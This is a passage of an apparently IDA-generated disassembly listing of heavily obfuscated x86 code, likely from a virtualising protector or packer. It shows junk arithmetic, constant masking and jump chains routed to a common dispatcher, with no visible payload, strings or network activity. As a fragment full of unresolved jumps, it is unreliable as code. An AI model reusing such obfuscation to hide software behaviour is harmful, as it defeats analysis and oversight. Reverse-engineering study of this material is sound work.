; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58D89F:				; CODE XREF: sub_5941BD-7119j
		dec	edx
		add	edx, 0F230B8Fh
		add	edx, 4B9C67D3h
		xor	edx, 0A88A1706h
		or	ebp, edx
		pop	edx
		sub	ebp, 74AF0A39h
		xor	ebp, 5BC83E76h
		xor	edi, ebp
		jmp	loc_595123
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58D8C8:				; CODE XREF: sdfs____:00592DF2j
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	ax, [esp]
		push	0E4Ah
		jmp	loc_58C399
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_58D8DD:				; CODE XREF: sub_598A21-31B4j
		xchg	eax, [esp-4+arg_0]
		pop	esp
		pop	eax
		push	esi
		mov	esi, 57B652E1h
		xor	eax, esi
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58E9A7
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_58D8F9:				; CODE XREF: sub_59377D:loc_595001j
		sub	ecx, 3439F20h
		jmp	loc_596F84
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_58D904:				; CODE XREF: sdfs____:0058D1D9j
		not	edi
		xchg	eax, edi
		xchg	eax, edi
		sub	edi, 0EA153C8h
		jp	loc_598279
		and	edi, 65630072h
		jp	loc_59703B
		jmp	loc_595098

; =============== S U B	R O U T	I N E =======================================



sub_58D925	proc near		; CODE XREF: sub_592D3F-5C61j
					; sub_591435+539j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058F86D SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 83D9C6h
		xor	ecx, ebx
		pop	ebx
		add	edi, ecx
		jmp	loc_58F86D
sub_58D925	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58D935:				; CODE XREF: sub_5917C0+2F17j
		add	bl, 88h
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	0BA1h
		mov	[esp+4+var_4], eax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58D94B:				; CODE XREF: sdfs____:00591DB4j
		add	edx, ebx
		sub	edx, 40F0350Bh
		sub	edx, 11680CA5h
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_58F3DB
; ---------------------------------------------------------------------------


loc_58D969:				; CODE XREF: sdfs____:00597CC1j
		mov	ah, 22h
		sub	ah, 0
		add	ch, ah
		jmp	loc_5900F4
; ---------------------------------------------------------------------------


loc_58D975:				; CODE XREF: sdfs____:005950B6j
		sub	ebx, 32634DA2h
		add	ebx, 768112C4h
		add	ebx, eax
		sub	ebx, 768112C4h
		add	ebx, 32634DA2h
		push	ecx
		mov	ecx, 273133F2h
		jmp	loc_597362
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58D99A:				; CODE XREF: sub_5962EB+3ADj
		pop	ebx
		push	[esp-10h+arg_C]
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_5962EB

; =============== S U B	R O U T	I N E =======================================



sub_58D9A7	proc near		; CODE XREF: sub_5962EB-9606j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058FF1B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005918F6 SIZE 00000010 BYTES

		push	ebx
		jmp	loc_58FF1B
sub_58D9A7	endp

; ---------------------------------------------------------------------------


loc_58D9AD:				; CODE XREF: sdfs____:0058BFFDj
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	edi, 5F9A3FC1h
		jmp	loc_58FFA7
; ---------------------------------------------------------------------------


loc_58D9C7:				; CODE XREF: sdfs____:005901E0j
		mov	ebx, eax
		pop	eax
		sub	edi, ebx
		jmp	loc_591B00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58D9D1:				; CODE XREF: sub_5941BD-7F9Bj
					; sdfs____:00594D95j
		mov	edi, 5886EE0h
		xor	edi, 6AD115ECh
		sub	edi, 4B483E72h
		add	eax, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_592D01
; END OF FUNCTION CHUNK	FOR sub_5941BD

; =============== S U B	R O U T	I N E =======================================



sub_58D9EF	proc near		; CODE XREF: sub_594228-8356j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 6B146C93h
		jmp	sub_590CC3
sub_58D9EF	endp

; ---------------------------------------------------------------------------


loc_58D9FF:				; CODE XREF: sdfs____:005922F7j
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59433A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_58DA14:				; CODE XREF: sub_58DB37+F7j
		mov	ebp, 2
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], dx
		jmp	loc_595796
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------


loc_58DA2F:				; CODE XREF: sdfs____:00598963j
		push	2A1Dh
		mov	[esp], ecx
		mov	cl, 13h
		mov	bl, cl
		pop	ecx
		shr	bl, 4
		shr	bl, 3
		xor	bl, 62h
		push	ecx
		mov	ch, 0EFh
		jmp	loc_59322D
; ---------------------------------------------------------------------------


loc_58DA4D:				; CODE XREF: sdfs____:0058EFA0j
		push	cx
		jmp	loc_5911E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58DA54:				; CODE XREF: sub_5917C0+31DFj
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58DC14
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58DA68:				; CODE XREF: sdfs____:0058BBD3j
		or	ecx, 21C67B2Eh
		jmp	loc_59783A
; ---------------------------------------------------------------------------


loc_58DA73:				; CODE XREF: sdfs____:00598D35j
		or	esi, 5EAF3419h
		add	esi, 0DC24A621h
		sub	ebx, esi
		pop	esi
		jmp	loc_58E3D7
; ---------------------------------------------------------------------------


loc_58DA87:				; CODE XREF: sdfs____:00593F11j
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, 4D9922CEh
		add	ecx, eax
		add	ecx, 4D9922CEh
		pop	eax
		push	591h
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_594706
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58DAB7:				; CODE XREF: sub_591435+4CDCj
		pop	ecx
		jmp	loc_59013E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58DABD:				; CODE XREF: sdfs____:00591D98j
		and	esi, 34E27A0Bh
		add	esi, 0FF52F27Fh
		and	eax, esi
		pop	esi
		xor	eax, 1D7C7F57h
		sub	eax, 1D6E7B6Ch
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_58F306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58DAE1:				; CODE XREF: sub_594228-1F00j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6+arg_0+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6+arg_0+2], esi
		push	ebx
		push	261B2977h
		pop	ebx
		jmp	loc_593A38
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58DB03:				; CODE XREF: sdfs____:0058D329j
		pop	eax
		push	edx
		jmp	loc_58F0C0
; ---------------------------------------------------------------------------


loc_58DB0A:				; CODE XREF: sdfs____:00590E83j
		pop	esi
		jmp	loc_5916D5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_596D18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58DB1C:				; CODE XREF: sub_59214E-5E1Ej
		inc	edx
		jp	loc_58C613
		not	edx
		inc	edx
		xor	edx, 8189BB91h
		jmp	loc_58CA3C
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
		push	edx


loc_58DB32:				; CODE XREF: sdfs____:00592216j
		jmp	loc_58B9C5

; =============== S U B	R O U T	I N E =======================================



sub_58DB37	proc near		; CODE XREF: sub_59587A+260Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C37A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DA14 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058DC2A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F862 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005910F1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005912CC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00595796 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_58C37A
sub_58DB37	endp

; ---------------------------------------------------------------------------


loc_58DB45:				; CODE XREF: sdfs____:00595FE0j
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_596533
; ---------------------------------------------------------------------------


loc_58DB51:				; CODE XREF: sdfs____:00596E87j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		inc	byte ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58DB70:				; CODE XREF: sub_59214E-644Ej
		pop	dword ptr [edx+30h]
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58DB81:				; CODE XREF: sub_591370-45B1j
		push	edx
		mov	edx, 37DF1E32h
		push	edx
		jmp	loc_596F40
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58DB8D:				; CODE XREF: sdfs____:005925ABj
		xor	ebp, 890C88C3h
		or	ebx, ebp
		pop	ebp
		add	ebx, 2D52353Ah
		xor	ebx, 6AF20513h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		and	ebx, 17F43967h
		add	ebx, 309E7F67h
		jmp	loc_59012C
; ---------------------------------------------------------------------------


loc_58DBBC:				; CODE XREF: sdfs____:00598274j
		mov	ah, 0ACh
		add	bh, ah
		jmp	loc_5987C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58DBC5:				; CODE XREF: sub_59587A-1AEFj
					; sdfs____:005963A4j
		pop	esp
		jmp	loc_58C35E
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_58DBCB:				; CODE XREF: sub_58FE99-3E29j
		xor	edx, 772F3F16h
		xor	ecx, edx
		jmp	loc_58E91C
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_58DBD8:				; CODE XREF: sdfs____:0058F723j
		pop	ebx
		jmp	loc_598CE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58DBDE:				; CODE XREF: sub_591435+6B40j
		xor	edx, ecx
		pop	ecx
		jmp	loc_59448E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58DBE6:				; CODE XREF: sdfs____:loc_597623j
		push	edi
		mov	edi, 223C350Ah
		xor	edi, 35EA37AFh
		sub	ebp, edi
		jmp	loc_58BA23
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58DC08:				; CODE XREF: sdfs____:0058E334j
		pop	eax
		add	esp, 4
		jmp	loc_58F6FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58DC14:				; CODE XREF: sub_5917C0-3D5Dj
		push	edx
		jmp	loc_596701
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58DC1A:				; CODE XREF: sdfs____:0058E0D6j
		pop	ebx
		not	al
		neg	al
		jmp	loc_59357B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58DC24:				; CODE XREF: sub_5941BD+242Ej
		pop	edx
		jmp	loc_59847F
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_58DC2A:				; CODE XREF: sub_58DB37+1D31j
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_58DA14
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_593A97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58DC3F:				; CODE XREF: sub_5987BC-A308j
		add	esp, 4
		push	0C85h
		mov	[esp+0], ecx
		mov	cl, 92h
		shl	cl, 3
		and	cl, 7Eh
		add	cl, 0FFh
		xor	cl, 8
		sub	bl, 46h
		sub	bl, cl
		push	edx
		mov	dl, 0D8h
		sub	dl, 92h
		add	bl, dl
		pop	edx
		pop	ecx
		jmp	loc_5975AC
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58DC7D:				; CODE XREF: sdfs____:0058CD92j
		pop	ebx
		and	ebx, 61165B97h
		js	loc_593631
		not	ebx
		and	ebx, 1EB84A65h
		sub	ebx, 1EB84A5Dh
		mov	edx, ebx
		pop	ebx
		add	ecx, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 320278C4h
		jmp	loc_59506A
; ---------------------------------------------------------------------------


loc_58DCB3:				; CODE XREF: sdfs____:0058ED17j
		push	bx
		dec	byte ptr [esp]
		pop	bx
		sub	bl, 2
		jmp	loc_5913F5
; ---------------------------------------------------------------------------


loc_58DCC2:				; CODE XREF: sdfs____:005924E1j
		push	edx
		mov	dl, 95h
		mov	bl, dl
		pop	edx
		jmp	loc_58C14B
; ---------------------------------------------------------------------------


loc_58DCCD:				; CODE XREF: sdfs____:005900EFj
		pop	ebx
		jmp	loc_58BE14
; ---------------------------------------------------------------------------


loc_58DCD3:				; CODE XREF: sdfs____:0058F553j
		sub	eax, ecx
		jmp	loc_593F9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58DCDA:				; CODE XREF: sub_591435+23ABj
		mov	ax, word ptr [esp+0Ch+var_C]
		push	edi
		push	5EE4h
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		jmp	loc_592EA8
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58DCF3:				; CODE XREF: sdfs____:0058F775j
					; sub_591370+21FEj
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 533414AAh
		sub	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_5987B6
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58DD0A:				; CODE XREF: sub_591435+Ej
		push	edi
		mov	edi, 0C9B1C98h
		inc	edi
		not	edi
		shl	edi, 3
		xor	edi, 9B271B34h
		add	ebx, edi
		pop	edi
		jmp	loc_59060A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58DD24:				; CODE XREF: sdfs____:0058C8BBj
		mov	edi, [esp]
		add	esp, 4
		mov	eax, 218A1B8Dh
		xor	eax, ebx
		pop	ebx
		push	7392h
		mov	[esp], ecx
		jmp	loc_5980B5
; ---------------------------------------------------------------------------


loc_58DD42:				; CODE XREF: sdfs____:0058F833j
		mov	ch, 3Bh
		add	ch, 99h
		push	edx
		mov	dh, 67h
		sub	dh, 0Eh
		xor	dh, 0ABh
		add	bl, dh
		jmp	loc_594F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58DD57:				; CODE XREF: sub_5987BC-76D0j
		mov	dh, cl
		pop	ecx
		jmp	loc_59784C
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58DD5F:				; CODE XREF: sub_5917C0-2967j
		mov	dl, 34h
		mov	cl, dl
		pop	dx
		xor	cl, 0Bh
		and	cl, 4
		jmp	loc_5900D0
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58DD70:				; CODE XREF: sdfs____:00596F2Bj
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 6788135Fh
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_594012
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58DD8E:				; CODE XREF: sdfs____:loc_595EEBj
					; sub_5917C0+594Bj
		or	ebp, 276F376Eh
		shl	ebp, 4
		jmp	loc_591857
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58DD9C:				; CODE XREF: sub_5962EB-3714j
		mov	[esp+0], edx
		push	ebp
		mov	ebp, 27386F03h
		not	ebp
		or	ebp, 4D7D1DC8h
		jle	loc_58C629
		jmp	loc_590906
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		jmp	loc_5952B1
; ---------------------------------------------------------------------------


loc_58DDBD:				; CODE XREF: sdfs____:005901B9j
		mov	ecx, 4C213120h
		xor	ecx, 2F0B4C5Dh
		not	ecx
		and	ecx, 6E52516Bh
		push	esi
		mov	esi, 0
		sub	esi, ecx
		xchg	esi, ecx
		pop	esi
		jmp	loc_5934AD
; ---------------------------------------------------------------------------


loc_58DDE0:				; CODE XREF: sdfs____:005978DBj
		pop	esi
		add	esi, 4
		jmp	loc_5904C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58DDEC:				; CODE XREF: sub_59214E+1C17j
		push	3BE2h
		mov	[esp+0], ecx
		push	eax
		mov	eax, 8B24A7h
		mov	ecx, eax
		jmp	loc_58E4A3
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58DE01:				; CODE XREF: sub_591370+7447j
		mov	edi, 5DE57C18h
		jmp	loc_58CA7A
; ---------------------------------------------------------------------------


loc_58DE0B:				; CODE XREF: sub_591370-1208j
		sub	ecx, 4
		xor	ecx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ecx
		xor	ecx, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_591771
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58DE20:				; CODE XREF: sub_594228+1EFBj
		pop	ecx
		pop	ebx
		jmp	loc_58BEB9
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58DE27:				; CODE XREF: sdfs____:00598392j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0AD84116h
		push	ecx
		push	ebx
		jmp	loc_59529E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58DE3B:				; CODE XREF: sub_5987BC+2j
		mov	edi, 69AF11F6h
		mov	ebp, 69AF11FAh
		sub	ebp, 6E3662Ah
		sub	ebp, edi
		push	edi
		mov	edi, 7ABD52EDh
		add	edi, 2C213E5Fh
		jbe	loc_58C075
		not	edi
		shl	edi, 4
		jmp	loc_58CC74
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58DE69:				; CODE XREF: sub_591435+7699j
		push	eax
		mov	al, 0BDh
		push	ebx
		mov	bl, 44h
		dec	bl
		not	bl
		jmp	loc_58FEA9
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58DE78:				; CODE XREF: sdfs____:0058EC0Ej
		and	esi, 38C941E9h
		jmp	loc_58D1C0
; ---------------------------------------------------------------------------


loc_58DE83:				; CODE XREF: sdfs____:00590451j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_59495B
; ---------------------------------------------------------------------------


loc_58DE99:				; CODE XREF: sdfs____:00597553j
		push	ecx
		mov	ch, 0D3h
		jmp	loc_58F503
; ---------------------------------------------------------------------------


loc_58DEA1:				; CODE XREF: sdfs____:00595471j
		push	ecx
		push	edx
		jmp	loc_58F3E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58DEA8:				; CODE XREF: sub_594228-3954j
		mov	[esp-0Ah+arg_6], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 6EC24A0Ah
		and	ecx, 38E9476Eh
		jmp	loc_595A57
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58DEBE:				; CODE XREF: sub_5985AE-5250j
		mov	ebp, 70B90627h
		xor	ebp, 0EAF705C3h
		jmp	loc_591A2F
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_58DECE:				; CODE XREF: sdfs____:005937C1j
		push	esp
		pop	ecx
		push	edx
		push	3424h
		mov	[esp], ecx
		mov	ecx, 39F25524h
		mov	edx, 39F25528h
		sub	edx, 6A764BC1h
		jmp	loc_59272A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58DEEE:				; CODE XREF: sub_5962EB-CB3j
		xchg	edx, [esp-10h+arg_C]
		jmp	loc_590E88
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58DEF6:				; CODE XREF: sub_5917C0-58DDj
		add	ebx, esi
		mov	esi, [esp+0]
		add	esp, 4
		sub	ebx, 4
		push	ebx
		push	[esp+arg_0]
		jmp	loc_594964
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_58DF0B:				; CODE XREF: sub_58CDE6-B4Aj
		mov	ecx, edi
		pop	edi
		jmp	sub_597CE3
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_58DF13:				; CODE XREF: sdfs____:005919B5j
		pop	ebp
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_58DF2C:				; CODE XREF: sub_58BAD7+14B0j
		mov	esi, [esp+0]
		add	esp, 4
		sub	[edi+24h], eax
		pop	eax


loc_58DF39:				; CODE XREF: sub_594228-3196j
		push	ebp
		jmp	loc_592D5E
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------


loc_58DF3F:				; CODE XREF: sdfs____:0058D5C5j
		mov	ebx, 7AE655A7h
		push	edi
		mov	edi, 40B562EDh
		sub	[esp+8], edi
		pop	edi
		jmp	loc_58BACE
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_597DE1
; ---------------------------------------------------------------------------


loc_58DF5A:				; CODE XREF: sdfs____:0058F5A3j
		or	edi, 1B5E1665h
		push	edi
		xchg	edx, [esp]
		jmp	loc_59553C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58DF69:				; CODE XREF: sub_59576E-2FB4j
		pop	cx
		add	si, 1
		push	bp
		mov	bp, 2C02h
		xor	si, bp
		jmp	loc_596A48
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_58DF7D:				; CODE XREF: sdfs____:005968B2j
		pop	edx
		shr	ebp, 8
		xor	ebp, 6F662Eh
		jmp	loc_58F1EE
; ---------------------------------------------------------------------------


loc_58DF8C:				; CODE XREF: sdfs____:0059863Fj
		push	2C0138A9h
		pop	edx
		and	edx, 68E95E03h
		jnb	loc_58CE4D
		shr	edx, 6
		or	edx, 7CEC77C3h
		mov	esi, ebx
		push	edx
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58DFAA:				; CODE XREF: sub_594228+17E1j
		mov	[esp-6+arg_0+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6+arg_0+2]
		pop	esp
		jmp	loc_5937E5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58DFC4:				; CODE XREF: sub_5917C0+794j
		mov	edi, 284D07F4h
		sub	eax, edi
		pop	edi
		add	eax, edi
		add	eax, 284D07F4h
		pop	edi
		jmp	loc_58FEF5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58DFD9:				; CODE XREF: sdfs____:0059134Ej
		pop	bx
		jmp	loc_5973E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58DFE0:				; CODE XREF: sub_594F18+15j
		push	edi
		jmp	loc_59304C
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_58DFE6:				; CODE XREF: sdfs____:00592C04j
		jmp	sub_58C71E
; ---------------------------------------------------------------------------


loc_58DFEB:				; CODE XREF: sdfs____:0058C6B0j
		xor	ebp, eax
		jmp	loc_58F160
; ---------------------------------------------------------------------------


loc_58DFF2:				; CODE XREF: sdfs____:0058F257j
		push	eax
		jmp	loc_592976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_58DFF8:				; CODE XREF: sub_58CDE6:loc_594947j
		jmp	loc_58C294
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58DFFD:				; CODE XREF: sub_59841F-6FEFj
		mov	ebx, [esp+0]
		add	esp, 4
		dec	ebx
		jle	loc_597DF0
		inc	ebx
		jle	loc_59013E
		push	ecx
		jmp	loc_5972E0
; END OF FUNCTION CHUNK	FOR sub_59841F

; =============== S U B	R O U T	I N E =======================================



sub_58E01A	proc near		; CODE XREF: sub_5BB696-26DA0j
					; sub_598A21-145Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CBB3 SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		not	edx
		xchg	edx, [esp+4+var_4]
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58CBB3
sub_58E01A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E03F:				; CODE XREF: sub_594228+4A63j
		sub	[esp-0Ah+arg_A], 4E221221h
		add	[esp-0Ah+arg_A], ebx
		add	[esp-0Ah+arg_A], 4E221221h
		jmp	loc_58B9F5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58E058:				; CODE XREF: sdfs____:0058C47Fj
		add	eax, 4E393C83h
		add	eax, ebx
		sub	eax, 4E393C83h
		jmp	loc_58FC1C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_58EC72
; ---------------------------------------------------------------------------


loc_58E075:				; CODE XREF: sdfs____:00595E9Ej
		add	esi, 63254EE0h
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_595CA9
; ---------------------------------------------------------------------------


loc_58E084:				; CODE XREF: sdfs____:0058FFE2j
		sub	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E08E:				; CODE XREF: sub_594228-29A9j
		xor	edi, 3F6528A7h
		jmp	loc_59431A
; END OF FUNCTION CHUNK	FOR sub_594228
